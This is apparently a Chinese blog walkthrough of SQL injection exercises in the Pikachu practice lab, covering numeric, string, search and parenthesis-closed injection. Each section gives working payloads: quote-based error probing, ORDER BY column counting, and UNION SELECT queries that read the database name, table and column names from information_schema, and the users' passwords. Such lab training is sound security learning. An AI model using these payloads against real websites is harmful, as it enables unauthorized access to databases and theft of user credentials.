[Pikachu靶场实战系列] SQL注入

目录

  • SQL注入概述
  • 数字型注入(post)
  • 字符型注入(get)
  • 搜索型注入
  • xx型注入

SQL注入概述

[Pikachu靶场实战系列] SQL注入_第1张图片

数字型注入(post)

[Pikachu靶场实战系列] SQL注入_第2张图片
随便选择一个进行抓包
[Pikachu靶场实战系列] SQL注入_第3张图片
可以看出,传入的值赋值给了参数id.
因为是数字型注入,我们在1后面加上一个单引号看是否报错
[Pikachu靶场实战系列] SQL注入_第4张图片
报错了,确定漏洞存在

id=1 or 1 #

可以把所有列表爆出来,因为1为真,符合所有条件,所以输出了所有的用户
[Pikachu靶场实战系列] SQL注入_第5张图片
order by 判断字段长度
[Pikachu靶场实战系列] SQL注入_第6张图片
[Pikachu靶场实战系列] SQL注入_第7张图片
order by 2 正常,order by 3 报错,说明字段长度为2
然后union select 进行联合查询,右边的1和2就是回显查询结果的地方
[Pikachu靶场实战系列] SQL注入_第8张图片
先查一下数据库,将结果回显到2的地方(要将id改为一个不存在的数字,一般用-1):

id=-1 union select 1,database() #

数据库名为pikachu
[Pikachu靶场实战系列] SQL注入_第9张图片

接下来就是构造sql语句,查询自己想要的内容
查数据库的表

id=-1 union select 1,table_name from information_schema.tables where table_schema=‘pikachu’ #

[Pikachu靶场实战系列] SQL注入_第10张图片

查询指定表的列名,这里我查询的是users表

id=-1 union select 1,column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ #

[Pikachu靶场实战系列] SQL注入_第11张图片

查询指定列的数据,我这里查询password

id=-1 union select 1,password from users#

[Pikachu靶场实战系列] SQL注入_第12张图片

字符型注入(get)

先随便输入一个值,点击查询,在url中看到
[Pikachu靶场实战系列] SQL注入_第13张图片
然后单引号报错
[Pikachu靶场实战系列] SQL注入_第14张图片
剩下的步骤和post一样,只是将pyload放到url中。
order by 判断字段长度为2

1’ order by 3 #

[Pikachu靶场实战系列] SQL注入_第15张图片
爆数据库

-1’ union select 1,database() #

[Pikachu靶场实战系列] SQL注入_第16张图片
其他步骤参考get形式即可

搜索型注入

先输入个1’尝试报错
[Pikachu靶场实战系列] SQL注入_第17张图片
在这里插入图片描述
根据报错信息可知,闭合可能要用%
输入1%,没有报错,但是因为用户名里没有1,所以没有搜索到
[Pikachu靶场实战系列] SQL注入_第18张图片
只输入一个%,输出了所有用户
[Pikachu靶场实战系列] SQL注入_第19张图片
order by 判断字段长度,长度为3

1 %’ order by 4 #

在这里插入图片描述
查询数据库

1 %’ union select 1,2,database() #

[Pikachu靶场实战系列] SQL注入_第20张图片
其他步骤仍然参考数字型注入

xx型注入

[Pikachu靶场实战系列] SQL注入_第21张图片
提示里面说的好
[Pikachu靶场实战系列] SQL注入_第22张图片
直接1’尝试报错
在这里插入图片描述
根据报错信息,我们构造闭合
1’) # 没有报错,成功闭合
[Pikachu靶场实战系列] SQL注入_第23张图片

order by 查字段长度

1’) order by 3#
在这里插入图片描述
联合查询查数据库
1’) union select 1,database()#

[Pikachu靶场实战系列] SQL注入_第24张图片
其他步骤参考字符型注入

你可能感兴趣的:(漏洞复现)